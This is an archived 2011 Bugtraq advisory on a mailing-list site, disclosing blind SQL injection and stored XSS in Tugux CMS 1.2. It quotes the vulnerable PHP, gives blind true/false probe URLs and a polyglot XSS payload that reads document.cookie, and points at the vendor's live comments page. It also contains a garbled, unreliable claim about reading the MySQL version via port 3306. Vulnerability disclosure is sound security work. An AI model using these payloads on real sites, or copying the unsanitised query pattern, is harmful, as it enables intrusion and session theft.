bugtraq - Tugux CMS 1.2 Multiple vulnerability (BLIND sql & xss)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <201107121231.p6CCVchs000754@sf01web1.securityfocus.com>
Date: Tue, 12 Jul 2011 12:31:38 GMT
From: randy@...elweiss.info
To: bugtraq@...urityfocus.com
Subject: Tugux CMS 1.2 Multiple vulnerability (BLIND sql & xss)


===================================================================
    Tugux CMS 1.2 Multiple vulnerability (BLIND sql & xss)
===================================================================
  
Software:   Tugux CMS
Vendor:     www.tugux.com
Vuln Type:  BLind SQL Injection
Download link:  http://www.tugux.com/uploads/47/tugux_cms.rar
Author:     eidelweiss
contact:    admin[at]eidelweiss[dot]info
Home:       www.eidelweiss.info
  
  
References: http://eidelweiss-advisories.blogspot.com/2011/07/tugux-cms-12-multiple-vulnerability.html
  
===================================================================
	Vuln c0de on page_text.php

<?php 

session_start();
require_once "scripts/connect_to_mysql.php";


if (isset($_GET['pid'])){
$pageid=$_GET['pid'];
//------------------------------------------------
$sqlCommand="SELECT lastmodified FROM pages WHERE id='$pageid' LIMIT 1";
$query=mysqli_query($myConnection, $sqlCommand) or die (mysqli_error());
while($row=mysqli_fetch_array($query)) {
      $date = $row["lastmodified"];
}
mysqli_free_result($query);

//------------------------------------------------
//------------------------------------------------
$sqlCommand = "SELECT admin FROM pages WHERE showing='1' AND id='$pageid' LIMIT 1";
$query = mysqli_query($myConnection, $sqlCommand) or die (mysqli_error());
while($row = mysqli_fetch_array($query)){
	$admin = $row["admin"];
	}
mysqli_free_result($query);
//------------------------------------------------
//------------------------------------------------
$sqlCommand = "SELECT pagebody FROM pages WHERE showing='1' AND id='$pageid' LIMIT 1";
$query = mysqli_query($myConnection, $sqlCommand) or die (mysqli_error());
while($row = mysqli_fetch_array($query)){
	$body = $row["pagebody"];
	}
mysqli_free_result($query);
}
//------------------------------------------------
if (isset($_GET['nid'])){
	$nid=$_GET['nid'];
$sql=mysqli_query($myConnection,"SELECT title, date, admin, news FROM news WHERE id='$nid'") or die (mysqli_error($myConnection));

  
===================================================================
  
    exploit & p0c
  
[!] page_text.php?nid=[valid nid]
[!] page_text.php?pid=[valid pid]
  
    Example p0c
  
[!] http://server/page_text.php?nid=12    <= True
[!] http://server/page_text.php?nid=-12   <= False

[!] http://server/page_text.php?pid=51	<= True
[!] http://server/page_text.php?pid=-51	<= False

  
[+] http://server:3306    <= download the file , save and open with c++ or wordpad will show mysql version
  
[!] sample: http://server:3306 result : 5.0.92-community (use versi 5.0.92) :D

===================================================================
  
Software:   Tugux CMS
Vendor:     www.tugux.com
Vuln Type:  xss
Download link:  http://www.tugux.com/uploads/47/tugux_cms.rar
Author:     eidelweiss
contact:    admin[at]eidelweiss[dot]info
Home:       www.eidelweiss.info
  
====================================================================

comments.php file is persistant to xss attack

Go to 

http://server/comments.php

and put or type this xss c0de into the command box

';alert(String.fromCharCode(88,83,83,32,65,84,65,67,75,32,66,89,32,69,73,68,69,76,87,69,73,83,83))//\';alert(String.fromCharCode(88,83,83,32,65,84,65,67,75,32,66,89,32,69,73,68,69,76,87,69,73,83,83))//";alert(String.fromCharCode(88,83,83,32,65,84,65,67,75,32,66,89,32,69,73,68,69,76,87,69,73,83,83))//\";alert(String.fromCharCode(88,83,83,32,65,84,65,67,75,32,66,89,32,69,73,68,69,76,87,69,73,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83,32,65,84,65,67,75,32,66,89,32,69,73,68,69,76,87,69,73,83,83))</SCRIPT><script>alert(document.cookie)</script>

then the site will direct you to

http://server/latest.php?nid=

and there you go.. xss will pop up

p0c:
http://server/comments.php
or
http://server/path/comments.php

official site: http://www.tugux.com/comments.php

Gratz:

- YOGYACARDERLINK , DEVILZC0DE , etc
- Nofia Fitri (unyu²), whitehat, note, petimati, psycothic_girl, viska agasi (dudutzkuw), wenkhairu, etc (capek aja di ketik semua)
  
====================================================================
  
    Nothing Impossible In This World Even Nobody`s Perfect

			Hacking is Art
  
===================================================================
  
==========================| -=[ E0F ]=- |==========================